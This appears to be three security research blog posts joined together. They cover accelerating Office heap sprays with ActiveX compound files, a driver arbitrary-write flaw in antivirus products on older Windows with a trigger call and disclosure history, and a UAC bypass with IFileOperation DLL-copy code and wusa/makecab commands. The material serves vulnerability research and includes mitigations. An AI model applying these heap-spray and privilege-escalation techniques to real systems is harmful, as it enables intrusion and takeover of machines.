Recently I’ve been researching into ActiveX controls in Office documents as I had some ideas I wanted to test out after reading Dominic Wang’s paper “Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability” [1] and Haifei Li’s and Bing Sun’s presentation slides “Attacking Interoperability: An OLE Edition” [2].

Some vulnerabilities that have been exploited in the past (CVE-2013-3906, CVE-2015-2424, CVE-2015-1641) have been embedding ActiveX controls to perform the heap spray whether be in Open XML format or encapsulated in RTF format. During my tests it was obvious that spraying the heap just took ages, waiting sometimes minutes before triggering the vulnerability. The exploits I examined either used one large ActiveX1.bin file or multiple ActiveX[x].bin files. This post just shows how we can spray the heap in seconds rather than minutes, mainly working with MS Word documents on a fully patched Windows 7 32bit with Office Professional 2010 with Open XML formatted files.

Office Open XML structure
I started looking into an Open XML formatted document which is basically a zip archive so just by renaming the extension to a zip we can extract, make changes to the files and zip it up again.  Running the tree command in the extracted folder of a simple Word document we see the files listed below which contains one ActiveX object.

|   [Content_Types].xml
|       app.xml
|       core.xml
|   |   document.xml
|   |   fontTable.xml
|   |   settings.xml
|   |   styles.xml
|   |   stylesWithEffects.xml
|   |   webSettings.xml
|   |
|   +---activeX
|   |   |   activeX1.bin
|   |   |   activeX1.xml
|   |   |
|   |   \---_rels
|   |           activeX1.xml.rels
|   |
|   +---media
|   |       image1.wmf
|   |
|   +---theme
|   |       theme1.xml
|   |
|   \---_rels
|           document.xml.rels

activeX1.bin is our Compound Document Format file which would contain our sprayed data and activeX1.xml would contain our classid to be used. When adding or removing ActiveX objects manually there are 5 files you’ll need to update

[Content_Types].xml   – contains entries pointing to individual activeX[x].xml entries
document.xml                – contains ids which refer activex[x].xml files set in document.xml.rels
document.xml.rels        – contains individual image[x].wmf and activeX[x].xml entries, unique rIds
activeX[x].xml               – Calls classIDs in each activeX[x].xml files
activeX[x].xml.rels       – Points to individual activeX[x].bin files
activeX[x].bin                – Compound File Binary Format

Here we could modify activeX[x].xml.rels to point to the same ActiveX1.bin compound document file as normally Office creates multiple unique activeX[x].bin files. This would reduce our total file size, save some seconds at spray time and just easy to manage.

Compound File Binary Format
Using Microsoft’s Office Visualization Tool (OffVis) we can deconstruct the compound document file activeX1.bin in order to understand its structure and values. The Microsoft specifications document [3] explains everything you need to know about the format.

A compound file is a structure for storing a file system, similar to a simplified FAT file system inside a single file, by dividing the single file into sectors. It is capable of storing data that is structured as storage and streams.

Viewing our activeX1.bin file which is this case the classid is instantiating Flash. Here in the OLESSDirectoryEntry[0] section we could null out the values of the clsidThis field as when the document is opened the classid is read from our ActiveX[x].xml file. Another entry we could null out is the ModifyTime field values. One important field is Object Type. This field MUST be 0x00, 0x01, 0x02, or 0x05, depending on the actual type of object.

Unknown or unallocated   0x00
Storage Object                     0x01
Stream Object                      0x02
Root Storage Object           0x05

Non-root directory entries are normally marked as either stream or storage elements. So leaving OLESSDirectoryEntry[0] entry alone as Type 5 the other directory entries OLESSDirectoryEntry[1] OLESSDirectoryEntry[2] and OLESSDirectoryEntry[3] we could be changed to Type 0. Once Type changed to 0 the Data entry in OffVis dissappears, also SizeLow field values can then also be nulled. The SizeLow and SizeHigh fields represent the stream size (8 bytes). This 64-bit integer field contains the size of the user-defined data, if this is a stream object. For a root storage object, this field contains the size of the mini stream.

The benefit of these changes is that we can remove any unwanted data at the end and just have an ActiveX1.bin file of only 2048 bytes. As for nulling out clsidThis and ModifyTime fields just removes any reference to the classid or time modified. If we wanted to say encapsulate our sprayed data we could change the Type object value to 2 and SizeLow value as you can see below but not really necessary so no need to complicate stuff. when it comes to the spraying our data I noticed all we need to do is just append our sprayed data to our 2048 bytes compound file without making any further changes. This is enough to load it in memory.

Class IDs to use
Now the question comes to what classIDs do we use for our heap spray? ClassIDs are set in the ActiveX[x].xml files where then the associated libraries loads. After experimenting with different classids I realised any classID could be used, depending on what classID is being called affects the performance drastically.

For example exploits CVE-2013-3906 or CVE-2015-1641 used classID {1EFB6596-857C-11D1-B16A-00C0F0283628} (MSComctlLib.TabStrip.2).  This refers to library C:\Windows\system32\MSCOMCTL.OCX which is 1,070,232 bytes in size. This library is huge so the amount of time to spray accumulates on how many chunks being sprayed. So if I used a classID which referred to a library of a small file size the spray time reduced drastically. Taking it a step further, it was discovered that using a non-existing classID could be used such as {00000000-0000-0000-0000-000000000001}. Since this classID does not exist on the system there would be no referring library to load so in theory would further reduce the spray time. During tests this proved to be the case and heap spraying was successful and the time was further reduced.

The activeX[x].xml file would normally look like this

<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<ax:ocx ax:classid='{00000000-0000-0000-0000-000000000001}'
ax:persistence='persistStorage' r:id='rId1'

Heap Spraying times
To get an idea of what kind of times we are dealing with, MetaSploit’s TIFF Integer Overflow exploit [4] was used which uses ActiveX to spray the heap with 591 chunks using the classid {1EFB6596-857C-11D1-B16A-00C0F0283628} referring to MSCOMCTL.OCX library. To spray the heap it took around 1 minute 10 seconds. Now replacing the classid with {00000000-0000-0000-0000-000000000001} it took only around 6 seconds which is a huge difference.

The table below shows the times it takes to spray, memory addresses sprayed upto and memory allocated based on the number of chunks. These figures will vary but it just gives you an idea.

The size of the activeX1.bin file used on Office 2010 32bit was 514KB which takes a chunk size of 0x81000 (528384 bytes) in memory.

526,336 bytes = 2048 (header) + 1024 (block size) * 512 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x16450000 300 mb
1000 10 seconds 0x28DD0000 575 mb
2000 20 seconds 0x4D3A0000 1.1 gb
4000 * 58 seconds 0x7FEB0000 2 gb

* This high number of chunks might not work and document will not properly open.

The size of the activeX1.bin file used on Office 2010 64bit was 1026KB which takes a chunk size of 0x101000 (1052672 bytes) in memory.

1,050,624 bytes = 2048 (header) + 1024 (block size) * 1024 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x0000000027dc0000 583 mb
1000 12 seconds 0x000000004a2f0000 1.1 gb
2000 27 seconds 0x000000008f450000 2.1 gb
4000 120 seconds 0x0000000117910000 4 gb

Memory allocated on Windows 7 32bit with Office 2010 32bit

Memory allocated on Windows 7 64bit with Office 2010 64bit

Spraying the heap using classids that do not exist on the system prevents a number of mitigations. So disabling ActiveX controls in Microsoft Office via the Trust Center settings or via Office kill bit in the registry are ineffective. Only using Microsoft EMET’s heap spray mitigation would provide some protection.

To get the fastest spray possible the main points to take away is

1. Use one ActiveX1.bin compound document file
2. Use a smaller ActiveX1.bin file with more xmls calling it
3. Use a classID that doesn’t exist on the system

All my Word document spray files and perl scripts you can download from here. When creating your own documents with the scripts just extract a existing document and overwrite with the files created by the scripts.

[1] https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives
[2] https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf [PDF]
[3] https://msdn.microsoft.com/en-gb/library/dd942138.aspx
[4] https://www.rapid7.com/db/modules/exploit/windows/fileformat/mswin_tiff_overflow

Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks.  Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems.

This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems.

The vulnerability
The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of the DeviceIOControl function.

DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);

In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck.

Debugger Output
In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest

kd> !analyze -v
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *

Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arg1: f4f5f6f7, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory
Arg4: 00000000, (reserved)

Debugging Details:

Could not read faulting driver name

WRITE_ADDRESS:  f4f5f6f7 

804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]





PROCESS_NAME:  dos_greyhat.exe

IRP_ADDRESS:  86593dd8


LAST_CONTROL_TRANSFER:  from 804ec11a to 804ec09b

f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92
f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3
f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31
f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43
f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b
f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8
WARNING: Stack unwind information not available. Following frames may be wrong.
f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562
f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31
f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70
f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall
0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514


f7e99562 ??              ???


SYMBOL_NAME:  ghhpoc+562

FOLLOWUP_NAME:  MachineOwner


IMAGE_NAME:  ghhpoc.sys


FAILURE_BUCKET_ID:  0x50_ghhpoc+562

BUCKET_ID:  0x50_ghhpoc+562

Followup: MachineOwner

kd> r
eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7
eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

Vulnerable Driver Analysis
Reverse engineering the driver the bugcheck is triggered after the call of the function IofCompleteRequest.

The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers.

Comparing IRP data
Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030

In Windows XP ebx contains pointer to IRP

kd> dt nt!_irp @ebx
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x70
   +0x00c AssociatedIrp    : __unnamed
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0xc ''
   +0x028 UserIosb         : 0x0012fe18 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : __unnamed
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : __unnamed

In Windows 7 esi contains pointer to IRP

kd> dt nt!_irp @esi
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x60030
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0x6 ''
   +0x028 UserIosb         : 0x0023f7b8 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : <unnamed-tag>

IoCompleteRequest Analysis
The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck.

On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy.

The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value.

IopXxxControlFile Analysis
“So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP.

In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7.

Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available.

On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability.

What do these flags values mean?
So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions:

#define IRP_BUFFERED_IO                 0x00000010
#define IRP_DEALLOCATE_BUFFER           0x00000020
#define IRP_INPUT_OPERATION             0x00000040

The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h
Converting into code it will look something like this

// Windows XP
Irp->UserBuffer = pBufferOut;                          
if (pBufferOut) 
// Windows 7
Irp->UserBuffer = pBufferOut;                          
if (iBufferOutSize) 

When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this

if (Irp->Flags & IRP_BUFFERED_IO)                                   
  if ((Irp->Flags & IRP_INPUT_OPERATION) 
     &&  (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED)
     && !(NT_ERROR(Irp->IoStatus.Status)))
       RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); 

Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump.

Conditions of a Vulnerable Driver
During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field.

The following range values indicate error and warning status codes:

  NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors
  NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings

In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status.

So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0.

To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place.

Irp->IoStatus.Information = 4;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this


So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function.

Fixing a Vulnerable Driver
Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was

to check if the output buffer address was in the user space

if (Irp->UserBuffer > MmHighestUserAddress)

Another approach was to check the size of the output buffer

if (iBufferOutSize < sizeof(ULONG))

Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability.

I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code?

Published Advisories
This table below provides information on the products where this vulnerability had been discovered.

Vendor Product OSVDB CVE ID Days Vendor link
McAfee Data Loss Prevention 117345 CVE-2015-1305 99 Advisory
Trend Micro Antivirus Plus
Internet Security
Maximum Security
115514 CVE-2014-9641 70 Advisory
Symantec Altiris Client 116082 CVE-2014-7286 59 Advisory
AVG Internet Security 113824 CVE-2014-9632 26 Release notes
K7 Computing Ultimate Security
Anti-Virus Plus
Total Security
113007 CVE-2014-9643 22 None
BullGuard Antivirus
Internet Security
Premium Protection
Online Backup
114478 CVE-2014-9642 16 Release notes

Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory.

For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it.

What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too.

Other Vendors
Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc.

  • Agnitum
  • AhnLab
  • Avast
  • Avira
  • BitDefender
  • ClamAV
  • Comodo
  • Emsisoft
  • Eset
  • Fortinet
  • FRISK Software
  • F-Secure
  • G Data
  • Kaspersky Lab
  • Kingsoft
  • Malwarebytes
  • Nano Security
  • Norman
  • Panda Security
  • Sophos
  • TrustPort
  • ThreatTrack Security
  • Webroot
  • Zemana

Other Windows Versions
Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so.

On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release.

There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit.

Final thoughts
One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro.

Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe.


I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published.

http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf  [PDF]

Securing machines from abuse and compromise in a corporate environment has always been an ongoing process. Providing admin rights to users has always been abused as users have ended up installing unapproved software, change configurations, etc. Not giving local admin rights and they claim they can’t do their work. If malware happens to compromise the machine with full admin rights then you are most likely looking at reimaging the machine.

User Account Control (UAC) gives us the ability to run in standard user rights instead of full administrator rights. So even if your standard user account is in the local admin group damage is limited, i.e. installing services, drivers, writing to secure locations, etc. are denied. To carry out these actions users would need to interact with the desktop such us right click and run as administrator or accept the UAC elevation prompt. UAC was introduced from Windows Vista onwards and contains a number of technologies that include file system and registry virtualization, the Protected Administrator (PA) account, UAC elevation prompts and Windows Integrity levels.

UAC works by adjusting the permission level of our user account, so programs actions are carried out as a standard user even if we have local admin rights on the computer. When changes are going to be made that require administrator-level permission UAC notifies us. If we have local admin rights then we can click yes to continue otherwise we would be prompted to enter an administrator password. These would however depend on what policies have been defined in your environment.

This blog post shows how easily UAC elevation prompts could be bypassed and what actions could be taken to mitigate this threat.

Bypassing UAC
Exploiting UAC is a trivial process. There are two stages needed to be taken to achieve bypass to elevate from standard user rights to administrator user rights. These steps have widely been published so it’s nothing new though stage 2 documents some more DLL hijacking vulnerabilities.

  • Writing to a secure location
  • Exploiting DLL hijacking vulnerability

In order for our bypass to be successful to start off with we need

  1. A medium integrity process
  2. A standard user in an administrators group
  3. Windows executable must be signed by Microsoft code signing certificate
  4. Windows executable must be located in a secure directory
  5. Windows executable also must specify the auto Elevate property in their manifest

Writing to a secure location
There are a couple of ways we can write to a secure location.

  • Using the IFileOperation COM Object
  • Using Windows Update Standalone Installer (wusa.exe)

IFileOperation COM Object
The IFileOperation COM object has a method that we can use to copy files to our secure location as the operation will auto-elevate and able to do a privilege copy. To exploit we can in inject our malicious DLL in a medium integrity process to carry out the operation. Since the COM object is set to auto-elevate the injected process does not need to be marked for auto-elevation in its manifest.

On windows 7 injected processes that have copied successfully are


During tests taskhost.exe only happens to work once after boot and wuauclt.exe doesn’t always work which leaves explorer.exe is only the reliable process to use.

On Windows 8 injected processes that have copied successfully are


Again explorer.exe is only the reliable process to use I found during my tests and the only one that worked on Windows 8.1

The main part of the code below has been taken from MSDN with just the some minor changes. The SetOperationFlags values used was taken from the UAC bypass code published here.

#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>

#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")

int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
FileOperation  *pfo;
IShellItem      *psiFrom = NULL;
IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";

if (SUCCEEDED(hr))
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 if (SUCCEEDED(hr))
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 if (NULL != pszDest)
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 if (SUCCEEDED(hr))
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 if (SUCCEEDED(hr))
 hr = pfo->PerformOperations();
 return 0;

Windows Update Standalone Installer
Another method to use to copy to our secure location is using Windows Update Standalone Installer (wusa.exe). Wusa.exe when executed runs as a high integrity process as its set to auto-elevate in its manifest. For auto-elevation the Windows executable must be signed, located in a secure directory such as C:\Windows\System32 and must specify the autoElevate property in their manifest.

We use wusa.exe to extract a CAB file (cabinet archive file) to our secure location

wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep

Here in the example our cab file is called poc.tmp but we can call it whatever we like. Windows comes with the makecab.exe tool so we can even create our cab file

makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp

Exploiting DLL hijacking vulnerability
When exploiting a DLL hijacking vulnerability the executable we are going to run again has to be signed; located in a secure directory and must specify the autoElevate property in its manifest in order load as a high integrity process.

On Windows 7 there are three executables that could be exploited and associated DLLs listed below




On malwr.com a malware submitted on 25th June last year had already been using Mcx2Prov.exe to bypass UAC and day later an exploit had also been published.

The same hash had also been flagged on VirusTotal (38/54) submitted over four months ago.

On Windows 8 there are also three executables that could be exploited and associated DLLs listed below




Finally on Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below



C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

Calling pwcreator.exe (Create a Windows To Go workspace) executable calls vds.exe (Virtual Disk Service) which then loads our DLL and gives us System integrity running in SYSTEM account.

Calling these executables sysprep.exe, cliconfg.exe and pwcreater.exe does produce a GUI window but should be able to easily make it run in the background and then terminated after being exploited. This is something I haven’t looked into so I’ll leave upto you.

The best way to mitigate this bypass is just by not giving users local admin rights to their machines. Majority of user accounts in a corporate environment you should be able to do this reducing the attack surface. This however does not apply home users which would have local admin rights by default.

The actual bypass only works when set to the middle two UAC settings which will let it auto-elevate. To see your settings you need to go to Control Panel – User Accounts – Change User Account Control settings.

Notify me only when apps try to make changes to my computer (default)
Notify me only when apps try to make changes to my computer (do not dim desktop settings)

so we could set to Always notify but this would bring it back to like it was on Windows Vista with constant notifications and not really practical and the user would end up setting it to Never notify which is definitely not a good idea.

Microsoft has given us 10 UAC policies to play with so it’s worth spending some time understanding and testing these out before implementing it in your own domain environment. To see what is applied on your local machine type secpol.msc into Start-Run to open the Local Security Policy snap-in and expand the Local Policies-Security Options folder. Run rsop.msc to view group policies applied on machines in a domain environment.

Looking in the registry these are the default values of UAC


When the slider is moved upto “Always notify me” it changes this value


When the slider is moved down to “Notify me only when apps try to make changes to my computer (do not dim desktop settings)” it changes this value


And when the slider is moved to “Never notify” the values changed are


Take note that EnableLUA has been disabled completely. This is an extremely dangerous value to be in and should never be disabled so its strongly recommend to set this settings to be enabled in group policies so it always gets applied if settings are reset/changed by users or by previously removed malware.

User Account Control: Run all administrators in Admin Approval Mode

Once disabled not only a malicious process could be able to go straight to high integrity without any bypass but also Internet Explorer would run in medium integrity. UAC gives us the Protected Mode (sandbox) in Internet Explorer providing added security. Internet Explorer normally runs in low integrity child process so if compromised by some IE exploit the damage is minimized as in low integrity there are only a handful of locations it can be written to on the system.

These changes mentioned above have been seen on Windows 7. On Windows 8/8.1 EnableLUA does not change to disabled. So when the slider is moved to Never notify the values changed are only


Since value “EnableLUA”=dword:00000001 does not change, UAC is not completely disabled and Internet Explorer would still run in low integrity.

If however a user logged onto a machine using the local admin account (administrator or whatever renamed on your corporate build) UAC settings does not apply as all processes run in high integrity. This applies to Windows 7/8 and 8.1 so always make sure users DO NOT logon using local admin account, if local admin rights are required better add their domain account to the local administrators group.

If for whatever reason logging on using the local admin account is a necessity then best set this UAC policy to enabled.

User Account Control: Admin Approval Mode for the built-in Administrator account

Another option would be to look into renaming or deleting the executables Mcx2Prov.exe, sysprep.exe, cliconfg.exe and pwcreator.exe if definitely not required on the system so the second stage to exploit DLL hijacking fails.

Finally if users do require local admin privileges then worth setting their machine UAC policy to Always notify and they live with the constant notifications.

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode (2-Prompt for consent on the secure desktop)

This bypass only works when all of the requirements are available to abuse. Remove one requirement and the bypass will fail. Office documents are opened in medium integrity so these are ideal targets to abuse the UAC bypass. Since these bypasses are so effortlessly achieved the only real course of action would be to set UAC to “Always notify” or remove local admin rights for the user. In the end using agents like Microsoft EMET or MalwareBytes Anti-Exploit would be the best mitigating action to take from initially being exploited in the first place.

Here are the source and binaries you can test for yourself. I tested it on Windows Enterprise 7/8/8.1 64bit